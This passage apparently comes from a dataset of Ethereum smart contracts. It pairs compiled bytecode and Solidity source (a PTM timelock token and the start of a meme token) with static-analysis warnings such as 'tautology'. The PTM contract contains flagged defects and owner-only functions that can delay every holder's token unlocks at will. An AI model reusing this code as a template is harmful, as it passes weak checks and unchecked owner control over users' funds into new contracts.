115fd575084818151811015156115e557fe5b90602001906020020151600160a060020a0316600014155b801561163e5750600a6000868381518110151561161657fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156116855750600b6000868381518110151561165757fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561169057600080fd5b6116b584828151811015156116a157fe5b906020019060200201516305f5e100611c87565b84828151811015156116c357fe5b6020908102909101015283518490829081106116db57fe5b906020019060200201516009600087848151811015156116f757fe5b6020908102909101810151600160a060020a0316825281019190915260400160002054101561172557600080fd5b61178260096000878481518110151561173a57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054858381518110151561177357fe5b90602001906020020151611c66565b60096000878481518110151561179457fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020819055506117d4828583815181101515610e2257fe5b915033600160a060020a031685828151811015156117ee57fe5b90602001906020020151600160a060020a0316600080516020612007833981519152868481518110151561181e57fe5b906020019060200201516040518082815260200191505060405180910390a36001016115ac565b33600090815260096020526040902054610b6b9083611c78565b600154600160a060020a0316331461187657600080fd5b600160a060020a038116151561188b57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156119155750336000908152600a602052604090205460ff16155b801561193a5750600160a060020a0385166000908152600a602052604090205460ff16155b80156119545750336000908152600b602052604090205442115b80156119775750600160a060020a0385166000908152600b602052604090205442115b151561198257600080fd5b61198b85611cb2565b15611c50578361199a336110e0565b10156119a557600080fd5b6119b76119b1336110e0565b85611c66565b336000908152600960205260409020556119d96119d3866110e0565b85611c78565b6009600087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b60208310611a415780518252601f199092019160209182019101611a22565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310611aa45780518252601f199092019160209182019101611a85565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611b36578181015183820152602001611b1e565b50505050905090810190601f168015611b635780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611b8357fe5b826040518082805190602001908083835b60208310611bb35780518252601f199092019160209182019101611b94565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206120078339815191529181900360200190a3506001611c5e565b611c5b858585611ece565b90505b949350505050565b600082821115611c7257fe5b50900390565b60008282018381101561142b57fe5b600080831515611c9a5760009150611356565b50828202828482811515611caa57fe5b041461142b57fe5b6000903b1190565b60008083611cc7336110e0565b1015611cd257600080fd5b611cde6119b1336110e0565b33600090815260096020526040902055611cfa6119d3866110e0565b600160a060020a03861660008181526009602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015611d98578181015183820152602001611d80565b50505050905090810190601f168015611dc55780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611de657600080fd5b505af1158015611dfa573d6000803e3d6000fd5b50505050826040518082805190602001908083835b60208310611e2e5780518252601f199092019160209182019101611e0f565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206120078339815191529181900360200190a3506001949350505050565b600082611eda336110e0565b1015611ee557600080fd5b611ef7611ef1336110e0565b84611c66565b33600090815260096020526040902055611f19611f13856110e0565b84611c78565b600160a060020a0385166000908152600960209081526040918290209290925551835184928291908401908083835b60208310611f675780518252601f199092019160209182019101611f48565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206120078339815191529181900360200190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582001c0addc80dd91f0e0d69897d279db6f9f648eacc1456b6b13530195d62150870029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,250
0x6a373436bc657249021da8c329594de2f14dc5f6
pragma solidity ^0.4.25; /* * * * ___ _ _ _ * | _ \ |__ _| |_ _ __ ___ _ _| |_ * | _/ / _` | _| &#39; \/ -_) &#39; \ _| * |_| |_\__,_|\__|_|_|_\___|_||_\__| * * */ // SafeMath methods library SafeMath { function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; assert(c >= _a); return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_a >= _b); return _a - _b; } function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a * _b; assert(_a == 0 || c / _a == _b); return c; } } // Contract must have an owner contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function setOwner(address _owner) onlyOwner public { owner = _owner; } } // Standard ERC20 Token Interface interface ERC20Token { function name() external view returns (string name_); function symbol() external view returns (string symbol_); function decimals() external view returns (uint8 decimals_); function totalSupply() external view returns (uint256 totalSupply_); function balanceOf(address _owner) external view returns (uint256 _balance); function transfer(address _to, uint256 _value) external returns (bool _success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success); function approve(address _spender, uint256 _value) external returns (bool _success); function allowance(address _owner, address _spender) external view returns (uint256 _remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // the main ERC20-compliant multi-timelock enabled contract contract PTM is Owned, ERC20Token { using SafeMath for uint256; string private constant standard = "201810"; string private constant version = "5.0"; string private name_ = "platment"; string private symbol_ = "PTM"; uint8 private decimals_ = 18; uint256 private totalSupply_ = uint256(10)**uint256(10) * uint256(10)**uint256(decimals_); mapping (address => uint256) private balanceP; mapping (address => mapping (address => uint256)) private allowed; mapping (address => uint256[]) private lockTime; mapping (address => uint256[]) private lockValue; mapping (address => uint256) private lockNum; uint256 private later = 0; uint256 private earlier = 0; // burn token event event Burn(address indexed _from, uint256 _value); // timelock-related events event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value); event TokenUnlocked(address indexed _address, uint256 _value); // safety method-related events event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount); event WrongEtherEmptied(address indexed _addr, uint256 _amount); // constructor for the ERC20 Token constructor() public { balanceP[msg.sender] = totalSupply_; } modifier validAddress(address _address) { require(_address != 0x0); _; } // fast-forward the timelocks for all accounts function setUnlockEarlier(uint256 _earlier) public onlyOwner { earlier = earlier.add(_earlier); } // delay the timelocks for all accounts function setUnlockLater(uint256 _later) public onlyOwner { later = later.add(_later); } // standard ERC20 name function function name() public view returns (string) { return name_; } // standard ERC20 symbol function function symbol() public view returns (string) { return symbol_; } // standard ERC20 decimals function function decimals() public view returns (uint8) { return decimals_; } // standard ERC20 totalSupply function function totalSupply() public view returns (uint256) { return totalSupply_; } // standard ERC20 allowance function function allowance(address _owner, address _spender) external view returns (uint256) { return allowed[_owner][_spender]; } // show unlocked balance of an account function balanceUnlocked(address _address) public view returns (uint256 _balance) { _balance = balanceP[_address]; uint256 i = 0; while (i < lockNum[_address]) { if (now.add(earlier) >= lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]); i++; } return _balance; } // show timelocked balance of an account function balanceLocked(address _address) public view returns (uint256 _balance) { _balance = 0; uint256 i = 0; while (i < lockNum[_address]) { if (now.add(earlier) < lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]); i++; } return _balance; } // standard ERC20 balanceOf with timelock added function balanceOf(address _address) public view returns (uint256 _balance) { _balance = balanceP[_address]; uint256 i = 0; while (i < lockNum[_address]) { _balance = _balance.add(lockValue[_address][i]); i++; } return _balance; } // show timelocks in an account function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) { uint i = 0; uint256[] memory tempLockTime = new uint256[](lockNum[_address]); while (i < lockNum[_address]) { tempLockTime[i] = lockTime[_address][i].add(later).sub(earlier); i++; } return tempLockTime; } // show values locked in an account&#39;s timelocks function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) { return lockValue[_address]; } function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) { return lockNum[_address]; } // Calculate and process the timelock states of an account function calcUnlock(address _address) private { uint256 i = 0; uint256 j = 0; uint256[] memory currentLockTime; uint256[] memory currentLockValue; uint256[] memory newLockTime = new uint256[](lockNum[_address]); uint256[] memory newLockValue = new uint256[](lockNum[_address]); currentLockTime = lockTime[_address]; currentLockValue = lockValue[_address]; while (i < lockNum[_address]) { if (now.add(earlier) >= currentLockTime[i].add(later)) { balanceP[_address] = balanceP[_address].add(currentLockValue[i]); emit TokenUnlocked(_address, currentLockValue[i]); } else { newLockTime[j] = currentLockTime[i]; newLockValue[j] = currentLockValue[i]; j++; } i++; } uint256[] memory trimLockTime = new uint256[](j); uint256[] memory trimLockValue = new uint256[](j); i = 0; while (i < j) { trimLockTime[i] = newLockTime[i]; trimLockValue[i] = newLockValue[i]; i++; } lockTime[_address] = trimLockTime; lockValue[_address] = trimLockValue; lockNum[_address] = j; } // standard ERC20 transfer function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) { if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); require(balanceP[msg.sender] >= _value && _value >= 0); balanceP[msg.sender] = balanceP[msg.sender].sub(_value); balanceP[_to] = balanceP[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // transfer Token with timelocks function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) { require(_value.length == _time.length); if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); uint256 i = 0; uint256 totalValue = 0; while (i < _value.length) { totalValue = totalValue.add(_value[i]); i++; } require(balanceP[msg.sender] >= totalValue && totalValue >= 0); require(lockNum[_to].add(_time.length) <= 42); i = 0; while (i < _time.length) { if (_value[i] > 0) { balanceP[msg.sender] = balanceP[msg.sender].sub(_value[i]); lockTime[_to].length = lockNum[_to]+1; lockValue[_to].length = lockNum[_to]+1; lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later); lockValue[_to][lockNum[_to]] = _value[i]; lockNum[_to]++; } // emit custom TransferLocked event emit TransferLocked(msg.sender, _to, _time[i], _value[i]); // emit standard Transfer event for wallets emit Transfer(msg.sender, _to, _value[i]); i++; } return true; } // TransferFrom Token with timelocks function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public validAddress(_from) validAddress(_to) returns (bool success) { require(_value.length == _time.length); if (lockNum[_from] > 0) calcUnlock(_from); uint256 i = 0; uint256 totalValue = 0; while (i < _value.length) { totalValue = totalValue.add(_value[i]); i++; } require(balanceP[_from] >= totalValue && totalValue >= 0 && allowed[_from][msg.sender] >= totalValue); require(lockNum[_to].add(_time.length) <= 42); i = 0; while (i < _time.length) { if (_value[i] > 0) { balanceP[_from] = balanceP[_from].sub(_value[i]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value[i]); lockTime[_to].length = lockNum[_to]+1; lockValue[_to].length = lockNum[_to]+1; lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later); lockValue[_to][lockNum[_to]] = _value[i]; lockNum[_to]++; } // emit custom TransferLocked event emit TransferLocked(_from, _to, _time[i], _value[i]); // emit standard Transfer event for wallets emit Transfer(_from, _to, _value[i]); i++; } return true; } // standard ERC20 transferFrom function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) { if (lockNum[_from] > 0) calcUnlock(_from); require(balanceP[_from] >= _value && _value >= 0 && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balanceP[_from] = balanceP[_from].sub(_value); balanceP[_to] = balanceP[_to].add(_value); emit Transfer(_from, _to, _value); return true; } // should only be called when first setting an allowed function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) { if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // increase or decrease allowed function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_value); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) { if(_value >= allowed[msg.sender][_spender]) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_value); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // owner may burn own token function burn(uint256 _value) public onlyOwner returns (bool _success) { if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); require(balanceP[msg.sender] >= _value && _value >= 0); balanceP[msg.sender] = balanceP[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(msg.sender, _value); return true; } // safety methods function () public payable { revert(); } function emptyWrongToken(address _addr) onlyOwner public { ERC20Token wrongToken = ERC20Token(_addr); uint256 amount = wrongToken.balanceOf(address(this)); require(amount > 0); require(wrongToken.transfer(msg.sender, amount)); emit WrongTokenEmptied(_addr, msg.sender, amount); } // shouldn&#39;t happen, just in case function emptyWrongEther() onlyOwner public { uint256 amount = address(this).balance; require(amount > 0); msg.sender.transfer(amount); emit WrongEtherEmptied(msg.sender, amount); } }
0x6080604052600436106101485763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630451f520811461014d57806306fdde0314610180578063095ea7b31461020a5780630fce887b1461024257806313af4035146102e657806318160ddd1461030957806323b872dd1461031e578063313ce5671461034857806342966c68146103735780635fc3a3121461038b57806366188463146103ac57806370a08231146103d05780638da5cb5b146103f157806395d89b4114610422578063a9059cbb14610437578063b91aedab1461045b578063b9c5416d146104f7578063c9e6bd3414610568578063ca0cd7c014610589578063d7290181146105a1578063d73dd623146105c2578063d80b2056146105e6578063dd62ed3e146105fb578063df51d46b14610622578063fb276fcf1461063a575b600080fd5b34801561015957600080fd5b5061016e600160a060020a036004351661065b565b60408051918252519081900360200190f35b34801561018c57600080fd5b50610195610749565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cf5781810151838201526020016101b7565b50505050905090810190601f1680156101fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021657600080fd5b5061022e600160a060020a03600435166024356107df565b604080519115158252519081900360200190f35b34801561024e57600080fd5b50604080516020600460443581810135838102808601850190965280855261022e958335600160a060020a039081169660248035909216963696956064959294930192829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061087e9650505050505050565b3480156102f257600080fd5b50610307600160a060020a0360043516610cfe565b005b34801561031557600080fd5b5061016e610d44565b34801561032a57600080fd5b5061022e600160a060020a0360043581169060243516604435610d4a565b34801561035457600080fd5b5061035d610efe565b6040805160ff9092168252519081900360200190f35b34801561037f57600080fd5b5061022e600435610f07565b34801561039757600080fd5b5061016e600160a060020a0360043516610fed565b3480156103b857600080fd5b5061022e600160a060020a036004351660243561108c565b3480156103dc57600080fd5b5061016e600160a060020a03600435166111b6565b3480156103fd57600080fd5b50610406611224565b60408051600160a060020a039092168252519081900360200190f35b34801561042e57600080fd5b50610195611233565b34801561044357600080fd5b5061022e600160a060020a0360043516602435611291565b34801561046757600080fd5b5060408051602060046024803582810135848102808701860190975280865261022e968435600160a060020a031696369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506113929650505050505050565b34801561050357600080fd5b50610518600160a060020a0360043516611710565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561055457818101518382015260200161053c565b505050509050019250505060405180910390f35b34801561057457600080fd5b50610518600160a060020a0360043516611802565b34801561059557600080fd5b50610307600435611885565b3480156105ad57600080fd5b50610307600160a060020a03600435166118b5565b3480156105ce57600080fd5b5061022e600160a060020a0360043516602435611a52565b3480156105f257600080fd5b50610307611a9e565b34801561060757600080fd5b5061016e600160a060020a0360043581169060243516611b2d565b34801561062e57600080fd5b50610307600435611b58565b34801561064657600080fd5b5061016e600160a060020a0360043516611b88565b600160a060020a038116600090815260056020526040812054905b600160a060020a03831660009081526009602052604090205481101561074357600a54600160a060020a038416600090815260076020526040902080546106dc929190849081106106c357fe5b9060005260206000200154611bbd90919063ffffffff16565b600b546106f090429063ffffffff611bbd16565b1061073b57600160a060020a0383166000908152600860205260409020805461073891908390811061071e57fe5b906000526020600020015483611bbd90919063ffffffff16565b91505b600101610676565b50919050565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156107d45780601f106107a9576101008083540402835291602001916107d4565b820191906000526020600020905b8154815290600101906020018083116107b757829003601f168201915b505050505090505b90565b600082600160a060020a03811615156107f757600080fd5b3360009081526009602052604081205411156108165761081633611bd3565b336000818152600660209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000808086600160a060020a038116151561089857600080fd5b86600160a060020a03811615156108ae57600080fd5b86518651146108bc57600080fd5b600160a060020a03891660009081526009602052604081205411156108e4576108e489611bd3565b60009350600092505b855184101561092b5761091e868581518110151561090757fe5b60209081029091010151849063ffffffff611bbd16565b60019094019392506108ed565b600160a060020a0389166000908152600560205260409020548311801590610954575060008310155b80156109835750600160a060020a03891660009081526006602090815260408083203384529091529020548311155b151561098e57600080fd5b8651600160a060020a038916600090815260096020526040902054602a916109bc919063ffffffff611bbd16565b11156109c757600080fd5b600093505b8651841015610cef57600086858151811015156109e557fe5b906020019060200201511115610c1a57610a378685815181101515610a0657fe5b6020908102909101810151600160a060020a038c16600090815260059092526040909120549063ffffffff61203c16565b600160a060020a038a166000908152600560205260409020558551610a9c90879086908110610a6257fe5b6020908102909101810151600160a060020a038c16600090815260068352604080822033835290935291909120549063ffffffff61203c16565b600160a060020a03808b166000908152600660209081526040808320338452825280832094909455918b1681526009825282812054600790925291909120600190910190610aea908261204e565b50600160a060020a0388166000908152600960209081526040808320546008909252909120600190910190610b1f908261204e565b50610b6c600a54610b60600b54610b548b89815181101515610b3d57fe5b60209081029091010151429063ffffffff611bbd16565b9063ffffffff611bbd16565b9063ffffffff61203c16565b600160a060020a038916600090815260076020908152604080832060099092529091205481548110610b9a57fe5b6000918252602090912001558551869085908110610bb457fe5b6020908102909101810151600160a060020a038a166000908152600883526040808220600990945290205482549192918110610bec57fe5b6000918252602080832090910192909255600160a060020a038a168152600990915260409020805460010190555b87600160a060020a031689600160a060020a03167f34c966766e471b87b7ce8d0d0358378cf20008a30bbb36246a3413c8a286834e8987815181101515610c5d57fe5b906020019060200201518988815181101515610c7557fe5b602090810290910181015160408051938452918301528051918290030190a387600160a060020a031689600160a060020a03166000805160206120dd8339815191528887815181101515610cc557fe5b906020019060200201516040518082815260200191505060405180910390a36001909301926109cc565b50600198975050505050505050565b600054600160a060020a03163314610d1557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600083600160a060020a0381161515610d6257600080fd5b83600160a060020a0381161515610d7857600080fd5b600160a060020a0386166000908152600960205260408120541115610da057610da086611bd3565b600160a060020a0386166000908152600560205260409020548411801590610dc9575060008410155b8015610df85750600160a060020a03861660009081526006602090815260408083203384529091529020548411155b1515610e0357600080fd5b600160a060020a0386166000908152600660209081526040808320338452909152902054610e37908563ffffffff61203c16565b600160a060020a038716600081815260066020908152604080832033845282528083209490945591815260059091522054610e78908563ffffffff61203c16565b600160a060020a038088166000908152600560205260408082209390935590871681522054610ead908563ffffffff611bbd16565b600160a060020a0380871660008181526005602090815260409182902094909455805188815290519193928a16926000805160206120dd83398151915292918290030190a350600195945050505050565b60035460ff1690565b60008054600160a060020a03163314610f1f57600080fd5b336000908152600960205260408120541115610f3e57610f3e33611bd3565b336000908152600560205260409020548211801590610f5e575060008210155b1515610f6957600080fd5b33600090815260056020526040902054610f89908363ffffffff61203c16565b33600090815260056020526040902055600454610fac908363ffffffff61203c16565b60045560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b6000805b600160a060020a03831660009081526009602052604090205481101561074357600a54600160a060020a0384166000908152600760205260409020805461103e929190849081106106c357fe5b600b5461105290429063ffffffff611bbd16565b101561108457600160a060020a0383166000908152600860205260409020805461108191908390811061071e57fe5b91505b600101610ff1565b600082600160a060020a03811615156110a457600080fd5b336000908152600660209081526040808320600160a060020a038816845290915290205483106110f757336000908152600660209081526040808320600160a060020a0388168452909152812055611150565b336000908152600660209081526040808320600160a060020a038816845290915290205461112b908463ffffffff61203c16565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a038116600090815260056020526040812054905b600160a060020a03831660009081526009602052604090205481101561074357600160a060020a0383166000908152600860205260409020805461121a91908390811061071e57fe5b91506001016111d1565b600054600160a060020a031681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156107d45780601f106107a9576101008083540402835291602001916107d4565b600082600160a060020a03811615156112a957600080fd5b3360009081526009602052604081205411156112c8576112c833611bd3565b3360009081526005602052604090205483118015906112e8575060008310155b15156112f357600080fd5b33600090815260056020526040902054611313908463ffffffff61203c16565b3360009081526005602052604080822092909255600160a060020a03861681522054611345908463ffffffff611bbd16565b600160a060020a0385166000818152600560209081526040918290209390935580518681529051919233926000805160206120dd8339815191529281900390910190a35060019392505050565b6000808085600160a060020a03811615156113ac57600080fd5b85518551146113ba57600080fd5b3360009081526009602052604081205411156113d9576113d933611bd3565b60009250600091505b84518310156114205761141385848151811015156113fc57fe5b60209081029091010151839063ffffffff611bbd16565b60019093019291506113e2565b336000908152600560205260409020548211801590611440575060008210155b151561144b57600080fd5b8551600160a060020a038816600090815260096020526040902054602a91611479919063ffffffff611bbd16565b111561148457600080fd5b600092505b855183101561170357600085848151811015156114a257fe5b90602001906020020151111561162e576114eb85848151811015156114c357fe5b602090810290910181015133600090815260059092526040909120549063ffffffff61203c16565b33600090815260056020908152604080832093909355600160a060020a038a1682526009815282822054600790915291902060019091019061152d908261204e565b50600160a060020a0387166000908152600960209081526040808320546008909252909120600190910190611562908261204e565b50611580600a54610b60600b54610b548a88815181101515610b3d57fe5b600160a060020a0388166000908152600760209081526040808320600990925290912054815481106115ae57fe5b60009182526020909120015584518590849081106115c857fe5b6020908102909101810151600160a060020a038916600090815260088352604080822060099094529020548254919291811061160057fe5b6000918252602080832090910192909255600160a060020a0389168152600990915260409020805460010190555b86600160a060020a031633600160a060020a03167f34c966766e471b87b7ce8d0d0358378cf20008a30bbb36246a3413c8a286834e888681518110151561167157fe5b90602001906020020151888781518110151561168957fe5b602090810290910181015160408051938452918301528051918290030190a386600160a060020a031633600160a060020a03166000805160206120dd83398151915287868151811015156116d957fe5b906020019060200201516040518082815260200191505060405180910390a3600190920191611489565b5060019695505050505050565b606060008183600160a060020a038116151561172b57600080fd5b600092506009600086600160a060020a0316600160a060020a031681526020019081526020016000205460405190808252806020026020018201604052801561177e578160200160208202803883390190505b5091505b600160a060020a0385166000908152600960205260409020548310156117fa57600b54600a54600160a060020a038716600090815260076020526040902080546117d79392610b60929091889081106106c357fe5b82848151811015156117e557fe5b60209081029091010152600190920191611782565b509392505050565b606081600160a060020a038116151561181a57600080fd5b600160a060020a0383166000908152600860209081526040918290208054835181840281018401909452808452909183018282801561187857602002820191906000526020600020905b815481526020019060010190808311611864575b5050505050915050919050565b600054600160a060020a0316331461189c57600080fd5b600a546118af908263ffffffff611bbd16565b600a5550565b600080548190600160a060020a031633146118cf57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561193357600080fd5b505af1158015611947573d6000803e3d6000fd5b505050506040513d602081101561195d57600080fd5b505190506000811161196e57600080fd5b604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051600160a060020a0384169163a9059cbb9160448083019260209291908290030181600087803b1580156119d657600080fd5b505af11580156119ea573d6000803e3d6000fd5b505050506040513d6020811015611a0057600080fd5b50511515611a0d57600080fd5b6040805182815290513391600160a060020a038616917f5d8daa04d680e083e2ab17a35494ba9f290f554edf76a78f0103a8a599b5c4249181900360200190a3505050565b600082600160a060020a0381161515611a6a57600080fd5b336000908152600660209081526040808320600160a060020a038816845290915290205461112b908463ffffffff611bbd16565b60008054600160a060020a03163314611ab657600080fd5b50303160008111611ac657600080fd5b604051339082156108fc029083906000818181858888f19350505050158015611af3573d6000803e3d6000fd5b5060408051828152905133917faea7a96dc17068a25e51e08f8ed45b86bd34b10af65af8e757af57b7e7b9e55d919081900360200190a250565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600054600160a060020a03163314611b6f57600080fd5b600b54611b82908263ffffffff611bbd16565b600b5550565b600081600160a060020a0381161515611ba057600080fd5b5050600160a060020a031660009081526009602052604090205490565b600082820183811015611bcc57fe5b9392505050565b6000806060806060806060806000975060009650600960008a600160a060020a0316600160a060020a0316815260200190815260200160002054604051908082528060200260200182016040528015611c36578160200160208202803883390190505b509350600960008a600160a060020a0316600160a060020a0316815260200190815260200160002054604051908082528060200260200182016040528015611c88578160200160208202803883390190505b50600160a060020a038a166000908152600760209081526040918290208054835181840281018401909452808452939650919290830182828015611ceb57602002820191906000526020600020905b815481526020019060010190808311611cd7575b50505050509550600860008a600160a060020a0316600160a060020a03168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015611d6157602002820191906000526020600020905b815481526020019060010190808311611d4d575b505050505094505b600160a060020a038916600090815260096020526040902054881015611ef057611db3600a54878a815181101515611d9d57fe5b602090810290910101519063ffffffff611bbd16565b600b54611dc790429063ffffffff611bbd16565b10611e7e57611e0e8589815181101515611ddd57fe5b6020908102909101810151600160a060020a038c16600090815260059092526040909120549063ffffffff611bbd16565b600160a060020a038a1660008181526005602052604090209190915585517f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1ab4e39087908b908110611e5a57fe5b906020019060200201516040518082815260200191505060405180910390a2611ee5565b8588815181101515611e8c57fe5b906020019060200201518488815181101515611ea457fe5b602090810290910101528451859089908110611ebc57fe5b906020019060200201518388815181101515611ed457fe5b602090810290910101526001909601955b600190970196611d69565b86604051908082528060200260200182016040528015611f1a578160200160208202803883390190505b50915086604051908082528060200260200182016040528015611f47578160200160208202803883390190505b509050600097505b86881015611fc2578388815181101515611f6557fe5b906020019060200201518289815181101515611f7d57fe5b602090810290910101528251839089908110611f9557fe5b906020019060200201518189815181101515611fad57fe5b60209081029091010152600190970196611f4f565b600160a060020a03891660009081526007602090815260409091208351611feb92850190612077565b50600160a060020a0389166000908152600860209081526040909120825161201592840190612077565b505050600160a060020a039096166000908152600960205260409020939093555050505050565b60008183101561204857fe5b50900390565b815481835581811115612072576000838152602090206120729181019083016120c2565b505050565b8280548282559060005260206000209081019282156120b2579160200282015b828111156120b2578251825591602001919060010190612097565b506120be9291506120c2565b5090565b6107dc91905b808211156120be57600081556001016120c85600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058209a250ec797a19bb9303c7715c4387efde6e53f510a8026491f94979cb9791b700029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,251
0x59143636f2ec30f76a90bbf7a78bfa0e86bdc801
/** *Submitted for verification at Etherscan.io on 2022-03-17 */ /** *Submitted for verification at Etherscan.io on 2022-02-11 */ /* ElonaTama Inu https://t.me/ElonaTama */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= 